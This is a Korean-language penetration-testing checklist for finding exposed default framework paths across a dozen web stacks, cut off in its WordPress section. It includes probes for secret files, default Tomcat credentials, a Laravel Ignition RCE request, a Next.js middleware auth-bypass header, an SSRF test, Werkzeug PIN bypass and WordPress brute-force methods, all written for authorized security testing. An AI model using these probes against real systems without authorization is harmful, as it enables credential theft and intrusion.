Skip to main content

프레임워크 기본 경로 점검

점검 목적​

웹 애플리케이션의 프레임워크·웹서버를 식별한 뒤, 해당 기술에 기본 포함된 관리·디버그·모니터링·API 문서 경로가 운영 환경에서 인증 없이 접근 가능한지 확인한다. 대부분의 프레임워크는 개발 편의를 위한 강력한 내장 기능을 제공하는데, 이것이 운영에 그대로 남으면 내부 구조 노출부터 원격 코드 실행까지 이어질 수 있다.

  • 경로 존재만으로 취약으로 판정하지 않는다. 반환 내용의 민감도와 인증 여부를 함께 본다.
  • 일반적인 정보 노출 판단 기준은 정보 노출에서 다룬다.
  • 오류 응답의 상세 정보 노출은 예외 처리 미흡에서 다룬다.
  • 보안 헤더와 제품 배너 노출은 보안 헤더 점검에서 다룬다.

프레임워크 식별​

프레임워크를 먼저 식별해야 어떤 기본 경로를 점검할지 결정할 수 있다. 식별은 주로 응답에서 관찰되는 수동적 단서로 시작한다.

응답에서 기술 스택 판별​

다음 순서로 관찰한다. 하나의 단서만으로 확정하지 않고, 여러 지표를 교차 확인한다.

1. 에러 페이지 형식 — 프레임워크 기본 에러 페이지는 가장 강한 식별 단서
2. 응답 헤더 — Server, X-Powered-By, Set-Cookie 이름과 형식
3. 쿠키 이름 — JSESSIONID, csrftoken, laravel_session 등
4. URL 패턴 — 확장자(.do, .aspx, .php), 경로 구조
5. HTML 소스 — meta generator, __VIEWSTATE, csrf token hidden field
6. JavaScript — __NEXT_DATA__, __NUXT__, 번들 경로 패턴

식별 지표 요약​

프레임워크에러 페이지헤더·쿠키URL·HTML 단서
Spring BootWhitelabel Error Page, {"timestamp":...,"status":...,"error":...}JSESSIONID, X-Application-Context.do, .action 확장자
TomcatApache Tomcat/X.X.X 기본 404/500Server: Apache-Coyote/examples/, /docs/
DjangoYou are seeing this page because DEBUG = True, 노란 배경 tracebackcsrftoken, sessionid/admin/, csrfmiddlewaretoken hidden field
FlaskWerkzeug Debugger 화면Server: Werkzeug/X.X.X—
FastAPI{"detail":"Not Found"} JSON—/docs, /redoc, /openapi.json
LaravelIgnition 에러 페이지, Whoops 화면laravel_session, XSRF-TOKEN.php 확장자, Blade 에러
ASP.NETYSOD (Yellow Screen of Death)ASP.NET_SessionId, X-AspNet-Version, X-Powered-By: ASP.NET.aspx, __VIEWSTATE, __EVENTVALIDATION
RailsAction Controller: Exception Caught 화면_session_id, X-Request-Id, X-RuntimeTurbo-Frame 헤더
ExpressReferenceError: ... at ... 스택 트레이스X-Powered-By: Express, connect.sid—
Next.js__nextjs_original-stack-frame 오버레이__Secure-next-auth/_next/, __NEXT_DATA__ script
NuxtNuxt 에러 페이지 (개발 모드)—/_nuxt/, __NUXT__ script
WordPress기본 테마 에러X-Powered-By: PHP/X.X/wp-content/, /wp-includes/, <meta name="generator" content="WordPress X.X">
ApacheApache/X.X.X (OS) Server at ... Port ...Server: Apache/X.X.X—
Nginxnginx/X.X.X 기본 에러Server: nginx/X.X.X—

식별이 되면 아래 해당 프레임워크 섹션의 기본 경로를 점검한다. 프레임워크를 식별하지 못한 경우에도 공통 경로(/health, /metrics, /swagger-ui/, /graphql)는 확인할 수 있다.


프레임워크별 기본 경로​

1. Spring Boot​

Spring Boot Actuator는 운영 모니터링용 내장 모듈이다. 개발 중에 전체 endpoint를 열어두고 운영에서 제한하지 않는 실수가 매우 흔하다.

식별 확인:

# Whitelabel Error Page 확인
curl -sS https://<TARGET>/nonexistent-test-path

# Spring Boot 기본 에러 JSON 포맷
# {"timestamp":"...","status":404,"error":"Not Found","path":"..."}

Actuator 엔드포인트와 위험도​

경로위험도노출 정보
/actuator/env🔴 CriticalDB 비밀번호, API 키, 환경변수 전체. spring.datasource.password 등이 원문 노출 가능
/actuator/heapdump🔴 CriticalJVM 힙 메모리 전체 덤프. 세션 토큰, 비밀번호, 암호화 키 추출 가능
/actuator/configprops🔴 High설정 속성 전체. DB URL, 외부 서비스 연결 정보
/actuator/mappings🔴 High전체 URL 맵과 컨트롤러 클래스명. 숨겨진 관리 endpoint 발견
/actuator/jolokia🔴 HighJMX MBean 접근. 설정에 따라 원격 코드 실행 가능
/actuator/gateway/routes🔴 HighSpring Cloud Gateway 전체 라우팅 규칙. 내부 서비스 주소 노출
/actuator/metrics🟡 Medium서버 상태 수치. URI 태그에서 전체 endpoint 목록 추출 가능
/actuator/loggers🟡 Medium로그 레벨 목록. POST로 런타임 로그 레벨 변경 가능
/actuator/httptrace🟡 Medium최근 HTTP 요청·응답. 다른 사용자의 세션 헤더 포함 가능
/actuator/beans🟡 Medium등록된 모든 Spring Bean과 의존성
/actuator/threaddump🟡 Medium스레드 덤프. 실행 중인 쿼리·요청 정보
/actuator/scheduledtasks🟢 Low예약 작업 목록
/actuator/health🟢 Low기본은 상태만. show-details=always면 DB·디스크·외부 서비스 상세
/actuator/info🟢 Low빌드 정보. 보통 비어있거나 git commit 해시 정도
/actuator/shutdown🔴 CriticalPOST 요청으로 애플리케이션 종료. 기본 비활성이지만 확인 필요

버전별 차이와 base path 변형​

Spring Boot 1.x와 2.x 이상에서 Actuator 경로가 다르다.

항목1.x2.x+
기본 경로/health, /env, /mappings (루트)/actuator/health, /actuator/env
기본 노출대부분 기본 활성health, info만 기본 노출
보안Spring Security 의존별도 management.endpoints.web.exposure 설정

base path는 설정으로 바뀔 수 있다. management.endpoints.web.base-path 값에 따라 /actuator 대신 /manage, /admin, /monitor 등이 사용된다. management port가 분리된 경우 외부에서 접근 불가할 수 있다.

/actuator/... ← 기본
/manage/... ← 커스텀 base path
/monitor/...
/admin/actuator/... ← context-path 뒤에 붙는 경우

점검 흐름​

# 1. Actuator 루트 확인 — endpoint 목록이 반환되면 전체 구조 파악
curl -sS https://<TARGET>/actuator
curl -sS https://<TARGET>/actuator/

# 2. 위험도 높은 endpoint부터 순서대로
curl -sS https://<TARGET>/actuator/env
curl -sS https://<TARGET>/actuator/configprops
curl -sS https://<TARGET>/actuator/mappings

# 3. heapdump는 접근 가능 여부만 확인 (HEAD로 크기 확인)
curl -sI https://<TARGET>/actuator/heapdump

# 4. metrics에서 URI 태그 추출 — 숨겨진 endpoint 발견
curl -sS https://<TARGET>/actuator/metrics/http.server.requests
# 응답의 "tag" → "values" 에서 전체 URI 목록 확인

# 5. 1.x 경로도 시도
curl -sS https://<TARGET>/env
curl -sS https://<TARGET>/mappings

Spring Cloud 추가 경로​

Spring Cloud를 사용하는 경우 추가 endpoint가 존재한다.

경로위험도설명
/actuator/gateway/routes🔴 HighGateway 라우팅 규칙 전체
/actuator/gateway/globalfilters🟡 Medium글로벌 필터 목록
/env + /refresh🔴 Critical1.x에서 환경변수 수정 후 refresh로 반영 → RCE 가능
/actuator/bus-refresh🔴 HighSpring Cloud Bus를 통한 전체 인스턴스 설정 갱신

확인할 것: /actuator 루트에서 _links로 활성 endpoint 목록이 반환되면 해당 목록만 확인한다. 루트가 차단되어도 개별 endpoint는 열려 있을 수 있다. env에서 값이 ******로 마스킹되어도 configprops나 heapdump에서 원문이 나올 수 있으므로 마스킹만 보고 안전하다고 판단하지 않는다.


2. Apache Tomcat​

Spring Boot 없이 Tomcat에 직접 배포된 애플리케이션에서 관리 인터페이스와 기본 콘텐츠가 남아 있는 경우를 점검한다.

식별 확인:

# 기본 에러 페이지에서 버전 확인
curl -sS https://<TARGET>/nonexistent-test-path
# "Apache Tomcat/9.0.XX" 등이 포함된 HTML

# Server 헤더
curl -sI https://<TARGET>/
# Server: Apache-Coyote/1.1

점검 경로​

경로위험도노출 정보
/manager/html🔴 Critical웹 관리 콘솔. WAR 배포 가능 → RCE
/manager/text🔴 Critical텍스트 기반 관리 인터페이스. 스크립트 배포 가능
/manager/status🟡 Medium서버 상태, JVM 정보, 커넥터 상태
/host-manager/html🔴 High가상 호스트 관리. 호스트 추가·삭제 가능
/docs/🟢 LowTomcat 기본 문서. 버전 정보
/examples/🟡 Medium서블릿·JSP 예제. 세션 조작, 쿠키 설정 등의 기능 포함
/examples/jsp/snp/snoop.jsp🟡 Medium서버 환경, 요청 헤더, 시스템 속성 출력
/WEB-INF/web.xml🔴 High애플리케이션 설정. 서블릿 매핑, 보안 설정

기본 자격증명​

Manager 앱에 인증 창(401)이 뜨면 기본 자격증명을 확인한다.

사용자명비밀번호비고
tomcattomcat가장 흔한 기본값
adminadmin—
admin`` (빈 값)—
tomcats3cret일부 버전 기본값
role1tomcattomcat-users.xml 예제
# Manager 접근 시도
curl -sS -u tomcat:tomcat https://<TARGET>/manager/html

# 상태 페이지
curl -sS -u tomcat:tomcat https://<TARGET>/manager/status

# text 인터페이스로 배포된 앱 목록
curl -sS -u tomcat:tomcat "https://<TARGET>/manager/text/list"

AJP 커넥터 (Ghostcat)​

Tomcat은 기본적으로 8009 포트에서 AJP(Apache JServ Protocol) 커넥터를 실행한다. CVE-2020-1938 (Ghostcat)은 AJP를 통해 WEB-INF 내부 파일을 읽거나 JSP로 실행할 수 있다.

# AJP 포트 열림 여부
nmap -sS -p 8009 <TARGET>

확인할 것: Manager 접근이 403이면 IP 기반 접근 제한(RemoteAddrValve)이 설정된 것이다. 내부 네트워크에서 접근 가능한지 확인한다. /examples/는 운영 환경에 남아 있을 이유가 없으므로 존재 자체가 설정 미흡의 근거가 된다. 에러 페이지의 Tomcat 버전 문자열은 server.xml의 Server 헤더 설정으로 숨길 수 있다.


3. Django​

Django의 DEBUG=True 설정이 운영에 남아 있으면 설정값, 환경변수, SQL 쿼리, 전체 URL 구조가 에러 페이지를 통해 노출된다.

식별 확인:

# Django 기본 환영 페이지 (새 프로젝트 기본)
curl -sS https://<TARGET>/
# "The install worked successfully! Congratulations!"

# 관리자 로그인
curl -sS https://<TARGET>/admin/login/
# Django 기본 관리자 로그인 폼 HTML 확인

# csrfmiddlewaretoken hidden field 존재
curl -sS https://<TARGET>/login/ | grep csrfmiddlewaretoken

점검 경로​

경로위험도노출 정보
/admin/🔴 HighDjango 관리자 패널. 기본 자격증명이나 약한 인증일 수 있음
존재하지 않는 경로 (DEBUG=True)🔴 Critical전체 URL 패턴 목록, 설정값, 환경변수
/__debug__/🔴 CriticalDjango Debug Toolbar. SQL 쿼리, 템플릿, 신호, 캐시 정보
/static/🟢 Low정적 파일 디렉터리. 디렉터리 리스팅이 열리면 파일 구조 노출
/media/🟡 Medium업로드 파일 디렉터리. 다른 사용자 파일 접근 가능
/api/ 또는 /api/v1/🟡 MediumDjango REST Framework 사용 시 Browsable API

DEBUG=True 에러 페이지​

Django에서 DEBUG=True인 상태에서 에러가 발생하면 다음이 모두 노출된다.

Settings — 전체 settings.py 내용 (SECRET_KEY, DATABASE 설정 포함)
Environment — 환경변수 전체
Traceback — Python 스택 트레이스와 로컬 변수
URL patterns — 전체 URL conf
SQL queries — 실행된 쿼리와 바인딩 값
Request — 헤더, 쿠키, POST 데이터 전체
# DEBUG=True 확인 — 존재하지 않는 경로로 에러 유도
curl -sS https://<TARGET>/nonexistent-test-path-12345
# "You're seeing this error because you have DEBUG = True" 포함 여부

# 잘못된 Host 헤더로 ALLOWED_HOSTS 에러 유도
curl -sS -H "Host: invalid.test.host" https://<TARGET>/
# DisallowedHost 에러 시 전체 설정 노출

Django Debug Toolbar​

별도 패키지(django-debug-toolbar)가 설치된 경우 /__debug__/ 경로에서 세부 정보를 제공한다.

curl -sS https://<TARGET>/__debug__/

노출 패널:

패널위험도내용
SQL🔴 High실행된 전체 쿼리와 실행 시간
Templates🟡 Medium렌더링된 템플릿과 컨텍스트 변수
Headers🟡 Medium요청·응답 헤더 전체
Signals🟢 LowDjango 신호 목록
Cache🟡 Medium캐시 호출과 적중률
Profiling🟡 Medium함수별 실행 시간

Django REST Framework​

DRF 사용 시 DEFAULT_RENDERER_CLASSES에 BrowsableAPIRenderer가 포함되면 브라우저에서 API를 탐색·실행할 수 있다.

# 브라우저 렌더러 활성 확인 — Accept 헤더로 HTML 요청
curl -sS -H "Accept: text/html" https://<TARGET>/api/

확인할 것: /admin/은 Django를 쓰면 거의 항상 존재한다. 로그인 폼이 보이는 것 자체는 정상이며, 기본·약한 자격증명으로 접근 가능한지가 핵심이다. DEBUG=True 에러 페이지에서 SECRET_KEY가 노출되면 세션 위조, CSRF 토큰 위조, 서명된 쿠키 복호화가 가능하므로 Critical로 판정한다.


4. Flask / FastAPI​

Flask — Werkzeug 디버거​

Flask가 debug=True로 실행되면 Werkzeug 대화형 디버거가 활성화된다. 에러 발생 시 브라우저에서 Python 코드를 직접 실행할 수 있다.

식별 확인:

curl -sI https://<TARGET>/
# Server: Werkzeug/X.X.X Python/X.X.X
경로·조건위험도노출 정보
에러 발생 시 디버거 화면🔴 Critical대화형 Python 콘솔. 코드 실행 가능
/console🔴 Critical직접 콘솔 접근 (활성화된 경우)
에러 스택 트레이스🟡 Medium소스 코드, 파일 경로, 로컬 변수

Werkzeug 디버거 PIN 우회​

Werkzeug 디버거는 PIN으로 보호되지만, PIN은 서버의 결정적 값들로 계산된다.

PIN 계산에 필요한 값:
1. username — 프로세스 실행 사용자 (파일 읽기로 확인)
2. modname — 보통 'flask.app' 또는 'werkzeug.debug'
3. appname — 보통 'Flask' 또는 'wsgi_app'
4. modpath — flask/app.py 의 절대 경로 (에러 traceback에서 확인)
5. MAC address — /sys/class/net/<iface>/address (LFI로 읽기)
6. machine-id — /etc/machine-id + /proc/sys/kernel/random/boot_id

에러 traceback이나 LFI를 통해 이 값들을 수집할 수 있으면 PIN을 계산하여 콘솔 접근이 가능하다.

# 에러 유도 — traceback에서 경로·사용자 정보 확인
curl -sS "https://<TARGET>/nonexistent"

# 콘솔 접근 시도
curl -sS "https://<TARGET>/console"

FastAPI — 자동 문서​

FastAPI는 기본적으로 API 문서를 자동 생성한다.

경로위험도노출 정보
/docs🟡 MediumSwagger UI. 모든 endpoint, 파라미터, 스키마 표시. "Try it out"으로 실행 가능
/redoc🟡 MediumReDoc 문서. 읽기 전용이지만 전체 API 구조 노출
/openapi.json🟡 MediumOpenAPI 스키마 원본. 전체 데이터 모델 정의 포함
# FastAPI 자동 문서 확인
curl -sS https://<TARGET>/docs
curl -sS https://<TARGET>/openapi.json

확인할 것: Werkzeug 디버거가 활성화된 상태에서 에러를 유도할 수 있으면 PIN 보호 여부와 관계없이 Critical이다. PIN 자체가 결정적 값으로 계산되므로 "PIN이 있으니 안전하다"고 판단하지 않는다. FastAPI의 /docs는 내부 API를 외부에 공개하는 것이므로, 인증 없이 접근 가능하고 민감한 endpoint가 포함되어 있으면 취약으로 판정한다.


5. Laravel​

Laravel은 PHP 프레임워크 중 가장 널리 사용되며, 디버그 모드와 환경 설정 파일 노출이 빈번하다.

식별 확인:

# 쿠키 확인
curl -sI https://<TARGET>/
# Set-Cookie: laravel_session=...; XSRF-TOKEN=...

# Ignition 에러 페이지 (APP_DEBUG=true)
curl -sS https://<TARGET>/nonexistent-test-path

점검 경로​

경로위험도노출 정보
/.env🔴 CriticalAPP_KEY, DB 비밀번호, API 키, 메일 설정 등 환경변수 전체
/_ignition/health-check🟡 MediumIgnition 디버그 도구 활성 여부 확인
/_ignition/execute-solution🔴 CriticalCVE-2021-3129. 특정 조건에서 RCE 가능
/telescope🔴 HighLaravel Telescope. 요청, 쿼리, 로그, 예외, 메일 전체 모니터링
/horizon🔴 HighLaravel Horizon. 큐 작업 대시보드, 작업 내용·실패 정보
/nova🟡 MediumLaravel Nova 관리 패널
/storage/logs/laravel.log🔴 High애플리케이션 로그. 스택 트레이스, 사용자 데이터, SQL 쿼리
/vendor/🟡 MediumComposer 패키지 디렉터리. 버전 정보, 소스 코드
/storage/framework/sessions/🔴 Critical세션 파일 직접 접근. 세션 하이재킹 가능
/.env.backup, /.env.old, /.env.save🔴 Critical환경 파일 백업

APP_DEBUG=true 에러 페이지​

디버그 모드가 켜져 있으면 에러 발생 시 다음이 노출된다.

Environment — .env 파일의 환경변수 전체
Stack trace — PHP 스택 트레이스와 소스 코드 일부
Request — 헤더, 쿠키, POST 데이터, 세션 데이터
Database query — 실행된 SQL 쿼리
Application — APP_KEY, 설정값

CVE-2021-3129 (Ignition RCE)​

Laravel Ignition 2.5.1 이하에서 /_ignition/execute-solution 을 통해 파일 쓰기와 코드 실행이 가능하다.

# Ignition 활성 확인
curl -sS https://<TARGET>/_ignition/health-check
# {"can_execute_commands":true} 등의 응답

# 취약 버전에서 RCE 확인 (PoC 구조)
curl -sS -X POST https://<TARGET>/_ignition/execute-solution \
-H "Content-Type: application/json" \
-d '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"test","viewFile":"..."}}'
# .env 파일 직접 접근
curl -sS https://<TARGET>/.env

# 로그 파일
curl -sS https://<TARGET>/storage/logs/laravel.log

# 디버그 도구
curl -sS https://<TARGET>/telescope
curl -sS https://<TARGET>/horizon

확인할 것: .env 파일이 200으로 반환되면 APP_KEY를 포함한 모든 환경변수가 노출된다. APP_KEY는 세션 암호화, 쿠키 서명에 사용되므로 노출 시 세션 위조가 가능하다. Telescope와 Horizon은 인증이 설정되어 있어도 미들웨어 우회가 가능한 경우가 있으므로, 접근이 차단되더라도 다른 경로로 우회를 시도한다.


6. ASP.NET​

ASP.NET은 클래식 ASP.NET(Web Forms, MVC)과 ASP.NET Core로 나뉜다. 각각 다른 진단 경로와 에러 형식을 가진다.

식별 확인:

curl -sI https://<TARGET>/
# X-AspNet-Version: 4.0.30319
# X-Powered-By: ASP.NET
# Set-Cookie: ASP.NET_SessionId=...

# ViewState 확인 (Web Forms)
curl -sS https://<TARGET>/ | grep __VIEWSTATE

점검 경로​

경로위험도대상노출 정보
/elmah.axd🔴 HighClassicELMAH 에러 로그. 스택 트레이스, 쿼리 문자열, 서버 변수, 사용자 정보
/trace.axd🔴 HighClassic요청 트레이스. 헤더, 쿠키, 폼 데이터, 서버 변수
/web.config🔴 Critical둘 다연결 문자열, machineKey, 인증 설정
/web.config.bak🔴 Critical둘 다web.config 백업
/swagger/🟡 Medium둘 다Swashbuckle API 문서
/hangfire🔴 High둘 다Hangfire 백그라운드 작업 대시보드. 작업 실행·삭제 가능
/health, /healthz🟢 LowCore상태 확인 endpoint
/_vti_bin/, /_vti_cnf/🟡 MediumClassicFrontPage 서버 확장. 파일 목록·구조 정보
/aspnet_client/🟢 LowClassicASP.NET 클라이언트 스크립트. 버전 정보

YSOD (Yellow Screen of Death)​

ASP.NET에서 처리되지 않은 예외가 발생하면 상세 에러 페이지(YSOD)가 표시된다. customErrors mode="Off" 또는 Core의 UseDeveloperExceptionPage()가 운영에 남아 있을 때 발생한다.

노출 내용:
- 전체 스택 트레이스와 소스 코드 라인
- 쿼리 문자열과 폼 변수
- 쿠키와 서버 변수
- .NET 버전과 IIS 버전
- web.config 설정 일부

ELMAH 에러 로그​

# ELMAH 접근 — 기본적으로 인증 없이 열림
curl -sS https://<TARGET>/elmah.axd
# RSS 피드, CSV 다운로드, 개별 에러 상세 페이지 제공

# 최근 에러 RSS
curl -sS https://<TARGET>/elmah.axd/rss

ELMAH는 기본 설정에서 인증 없이 모든 에러 로그를 공개한다. 각 에러 항목에는 요청 전체(쿼리, 폼 데이터, 헤더, 쿠키, 서버 변수)가 포함된다.

machineKey와 ViewState​

web.config에서 machineKey가 노출되면 __VIEWSTATE 역직렬화 공격이 가능하다.

<!-- web.config에서 확인할 값 -->
<machineKey validationKey="..." decryptionKey="..." validation="SHA1" decryption="AES" />
# web.config 직접 접근
curl -sS https://<TARGET>/web.config
curl -sS https://<TARGET>/web.config.bak
curl -sS https://<TARGET>/web.config.old

# Hangfire 대시보드
curl -sS https://<TARGET>/hangfire

확인할 것: elmah.axd가 열리면 다른 사용자의 요청 데이터가 포함된 에러 로그를 모두 볼 수 있으므로 즉시 취약으로 판정한다. web.config의 machineKey 노출은 ViewState 역직렬화를 통한 RCE로 이어지므로 Critical이다. trace.axd는 IIS 기본 설정에서 로컬 접근만 허용하지만 리버스 프록시 뒤에서 우회되는 경우가 있다.


7. Ruby on Rails​

Rails는 개발 모드에서 상세한 에러 정보와 라우트 맵을 제공한다. 추가 gem으로 설치되는 관리 도구도 점검 대상이다.

식별 확인:

curl -sI https://<TARGET>/
# X-Request-Id: 550e8400-e29b-41d4-a716-446655440000
# X-Runtime: 0.123456
# Set-Cookie: _<appname>_session=...

# Rails 기본 에러 (development)
curl -sS https://<TARGET>/nonexistent-test-path
# "Action Controller: Exception Caught" 또는 BetterErrors 화면

점검 경로​

경로위험도노출 정보
/rails/info/routes🔴 High전체 라우트 목록. 컨트롤러, 액션, HTTP 메서드, 경로 패턴
/rails/info/properties🟡 MediumRails 버전, Ruby 버전, 환경, 미들웨어 스택
/rails/mailers🟡 Medium메일러 프리뷰. 이메일 템플릿과 내용
/rails/conductor/action_mailbox/inbound_emails🟡 MediumAction Mailbox 수신 이메일
/sidekiq🔴 HighSidekiq 대시보드. 큐·작업 목록, 재시도·삭제 가능, Redis 정보
/rails/db🔴 Criticalrails_db gem. 브라우저에서 DB 직접 쿼리 실행
/letter_opener🟡 MediumLetter Opener gem. 발송된 이메일 내용 열람
/admin🟡 MediumActiveAdmin, RailsAdmin 등 관리 패널
/pghero🔴 HighPgHero gem. PostgreSQL 쿼리 통계, 인덱스, 연결 정보
에러 페이지 (development)🔴 High전체 스택 트레이스, 소스 코드, 인스턴스 변수, 요청 파라미터

개발 모드 에러 정보​

Rails가 development 환경으로 실행되면 에러 발생 시 다음이 노출된다.

소스 코드 — 에러 발생 위치 전후의 Ruby 코드
파라미터 — 요청 파라미터, 세션, 쿠키 전체
환경 — 환경변수 (DATABASE_URL, SECRET_KEY_BASE 포함)
라우트 — 전체 라우트 테이블

BetterErrors gem이 설치된 경우 대화형 REPL 콘솔이 에러 페이지에 포함되어 서버에서 Ruby 코드를 실행할 수 있다.

# 개발 모드 라우트 정보
curl -sS https://<TARGET>/rails/info/routes
curl -sS https://<TARGET>/rails/info/properties

# Sidekiq 대시보드
curl -sS https://<TARGET>/sidekiq

# ActiveAdmin / RailsAdmin
curl -sS https://<TARGET>/admin

확인할 것: /rails/info/routes가 열리면 전체 API 구조가 노출되므로 숨겨진 관리 endpoint를 찾는 데 직접 사용된다. Sidekiq 대시보드는 mount Sidekiq::Web 라인에서 인증 미들웨어 없이 마운트되는 실수가 흔하다. BetterErrors의 REPL이 외부에서 접근 가능하면 RCE이므로 Critical이다.


8. Node.js / Express​

Express 자체에는 관리 패널이 없지만, 디버그 모드와 흔히 함께 쓰이는 미들웨어·모듈의 기본 경로를 점검한다.

식별 확인:

curl -sI https://<TARGET>/
# X-Powered-By: Express
# Set-Cookie: connect.sid=...

점검 경로​

경로위험도노출 정보
에러 응답 (development)🟡 Medium스택 트레이스와 파일 경로. NODE_ENV=development일 때
/api-docs 또는 /swagger🟡 Mediumswagger-ui-express. API 전체 구조와 실행 기능
/graphql🟡 MediumGraphQL endpoint (별도 섹션 참조)
/health, /status, /metrics🟢 Low커스텀 상태 endpoint. 의존성·연결 상태 포함 여부 확인
/.env🔴 Criticaldotenv 환경 파일. DB URL, API 키, 시크릿
/server.js, /app.js🔴 High소스 파일 직접 접근 (정적 파일 서빙 미설정 시)
/node_modules/🟡 Medium의존성 디렉터리. 패키지 버전, 취약 모듈 확인
/package.json🟡 Medium의존성 목록과 스크립트. 내부 구조 파악
/bull-board, /arena, /queues🟡 MediumBull/BullMQ 큐 대시보드

Express 에러 핸들러​

NODE_ENV가 development이거나 설정되지 않으면 Express 기본 에러 핸들러가 스택 트레이스를 반환한다.

# 에러 유도 — 존재하지 않는 경로 또는 잘못된 입력
curl -sS https://<TARGET>/api/users/not-a-number

# 응답에 스택 트레이스 포함 여부 확인
# ReferenceError: xxx is not defined
# at /app/routes/users.js:42:15
# at Layer.handle ...

production에서도 에러 핸들러를 커스터마이징하지 않으면 기본 HTML 에러 페이지가 노출될 수 있다.

# 소스 파일 직접 접근
curl -sS https://<TARGET>/server.js
curl -sS https://<TARGET>/app.js
curl -sS https://<TARGET>/package.json
curl -sS https://<TARGET>/.env

# Swagger 문서
curl -sS https://<TARGET>/api-docs
curl -sS https://<TARGET>/swagger

확인할 것: X-Powered-By: Express 헤더는 app.disable('x-powered-by')로 쉽게 제거되므로 없다고 Express가 아닌 것은 아니다. /.env 파일 접근은 정적 파일 서빙의 루트 디렉터리 설정에 따라 달라진다. express.static('public') 대신 express.static('.')으로 설정하면 프로젝트 루트의 모든 파일이 노출된다.


9. Next.js / Nuxt​

SSR(Server-Side Rendering) 프레임워크에서 빌드 산출물, 서버 데이터, 이미지 프록시의 노출을 점검한다.

식별 확인:

# Next.js
curl -sS https://<TARGET>/ | grep "__NEXT_DATA__"
# <script id="__NEXT_DATA__" type="application/json">...</script>

# Nuxt
curl -sS https://<TARGET>/ | grep "__NUXT__"
# window.__NUXT__={...}

Next.js​

경로·기능위험도노출 정보
/_next/data/<BUILD_ID>/<page>.json🟡 MediumSSR 페이지의 서버 측 데이터. getServerSideProps 반환값 전체
/_next/static/🟢 Low빌드 산출물. source map이 포함되면 원본 소스 노출
/_next/image?url=<EXTERNAL_URL>&w=256&q=75🔴 High이미지 최적화 프록시. 외부 URL을 지정하면 SSRF 가능
/api/🟡 MediumAPI Routes. 인증 없는 endpoint 탐색
__NEXT_DATA__ script🟡 Medium페이지 HTML에 포함된 서버 데이터. 민감 props 노출 가능
x-middleware-subrequest 헤더🔴 CriticalCVE-2025-29927. 미들웨어 인증 우회 (14.18.9 이전, 15.2.3 이전)
source map (.js.map)🔴 High원본 소스 코드, 환경변수, 비밀값 노출
NEXT_PUBLIC_* 환경변수🟡 Medium클라이언트 번들에 포함된 환경변수. API 키 등 확인
# BUILD_ID 확인
curl -sS https://<TARGET>/_next/static/buildManifest.js
# 또는 __NEXT_DATA__의 buildId 필드에서 확인

# 서버 데이터 직접 접근
curl -sS "https://<TARGET>/_next/data/<BUILD_ID>/dashboard.json"

# 이미지 프록시 SSRF 테스트
curl -sS "https://<TARGET>/_next/image?url=http://internal-host/&w=256&q=75"

# 미들웨어 인증 우회 (CVE-2025-29927)
curl -sS -H "x-middleware-subrequest: middleware" https://<TARGET>/admin

# source map 확인
curl -sS "https://<TARGET>/_next/static/chunks/main-<HASH>.js.map"

# 클라이언트 번들에서 NEXT_PUBLIC_ 환경변수 검색
curl -sS https://<TARGET>/_next/static/chunks/main-<HASH>.js | grep -o "NEXT_PUBLIC_[A-Z_]*"

Nuxt​

경로·기능위험도노출 정보
/_payload.json🟡 MediumSSR 페이지의 직렬화된 서버 데이터
/_nuxt/🟢 Low빌드 산출물 디렉터리
/api/🟡 MediumNitro 서버 라우트
__NUXT__ / __NUXT_DATA__🟡 Medium페이지 HTML에 포함된 서버 측 상태
/_nuxt/builds/meta/<ID>.json🟡 MediumNuxt 3 빌드 메타데이터
Nuxt DevTools🔴 High개발 모드 디버그 도구. 컴포넌트, 상태, 라우트, 모듈 정보
source map (.js.map)🔴 High원본 소스 코드 노출
# 페이로드 데이터
curl -sS https://<TARGET>/_payload.json
curl -sS https://<TARGET>/dashboard/_payload.json

# 빌드 메타데이터
curl -sS https://<TARGET>/_nuxt/builds/latest.json

# 서버 API 라우트 탐색
curl -sS https://<TARGET>/api/
curl -sS https://<TARGET>/api/users

확인할 것: __NEXT_DATA__와 _payload.json에는 서버에서 렌더링에 사용한 데이터가 그대로 포함된다. 페이지에 표시하지 않는 필드(내부 ID, 권한 정보, 다른 사용자 데이터)가 포함되어 있는지 확인한다. /_next/image 프록시는 next.config.js의 domains나 remotePatterns 설정으로 제한되지만, 와일드카드 설정이나 리다이렉트 체인으로 우회 가능한 경우가 있다. CVE-2025-29927은 Next.js 미들웨어로 인증을 처리하는 경우에만 해당된다.


10. WordPress​

WordPress는 전 세계 웹사이트의 큰 비중을 차지하며, REST API와 XML-RPC가 기본 활성화되어 있다.

식별 확인:

# Generator 메타 태그
curl -sS https://<TARGET>/ | grep 'generator.*WordPress'
# <meta name="generator" content="WordPress 6.X.X" />

# 기본 경로 존재
curl -sI https://<TARGET>/wp-login.php
curl -sI https://<TARGET>/wp-admin/

점검 경로​

경로위험도노출 정보
/wp-json/wp/v2/users🔴 High사용자 목록 열거. 사용자명, slug, 프로필 정보
/?author=1🟡 Medium사용자명 열거. 리다이렉트 URL에 slug 포함
/xmlrpc.php🔴 HighXML-RPC. 다중 인증 시도(multicall), SSRF, DDoS amplification
/wp-content/debug.log🔴 CriticalPHP 에러 로그. DB 쿼리, 파일 경로, 플러그인 에러
/wp-config.php.bak🔴 CriticalDB 자격증명, AUTH_KEY, SALT 값
/wp-config.php~🔴 Critical에디터 백업 파일
/readme.html🟢 LowWordPress 버전 정보
/wp-cron.php🟡 MediumWP-Cron. 예약 작업 트리거, DDoS 벡터
/wp-content/uploads/🟡 Medium업로드 디렉터리 리스팅. 파일 구조 노출
/wp-includes/🟢 Low코어 파일. 버전 확인
/wp-json/🟡 MediumREST API 루트. 전체 endpoint 목록
/wp-admin/install.php🔴 Critical설치 마법사가 접근 가능하면 DB 덮어쓰기 가능

REST API 사용자 열거​

# 사용자 목록 (인증 불필요)
curl -sS https://<TARGET>/wp-json/wp/v2/users
# [{"id":1,"name":"admin","slug":"admin",...}]

# REST API 비활성화 시 대체 방법
curl -sS "https://<TARGET>/?rest_route=/wp/v2/users"

# author 파라미터 열거
curl -sI "https://<TARGET>/?author=1"
# Location: https://<TARGET>/author/admin/ ← slug 노출

XML-RPC 공격​

# XML-RPC 활성 확인
curl -sS -X POST https://<TARGET>/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'

# multicall을 이용한 다중 인증 시도 (단일 요청에 수백 개 시도 가능)
# wp.getUsersBlogs에 사용자명·비밀번호 조합을 배열로 전달
# 플러그인·테마 열거 (wpscan)
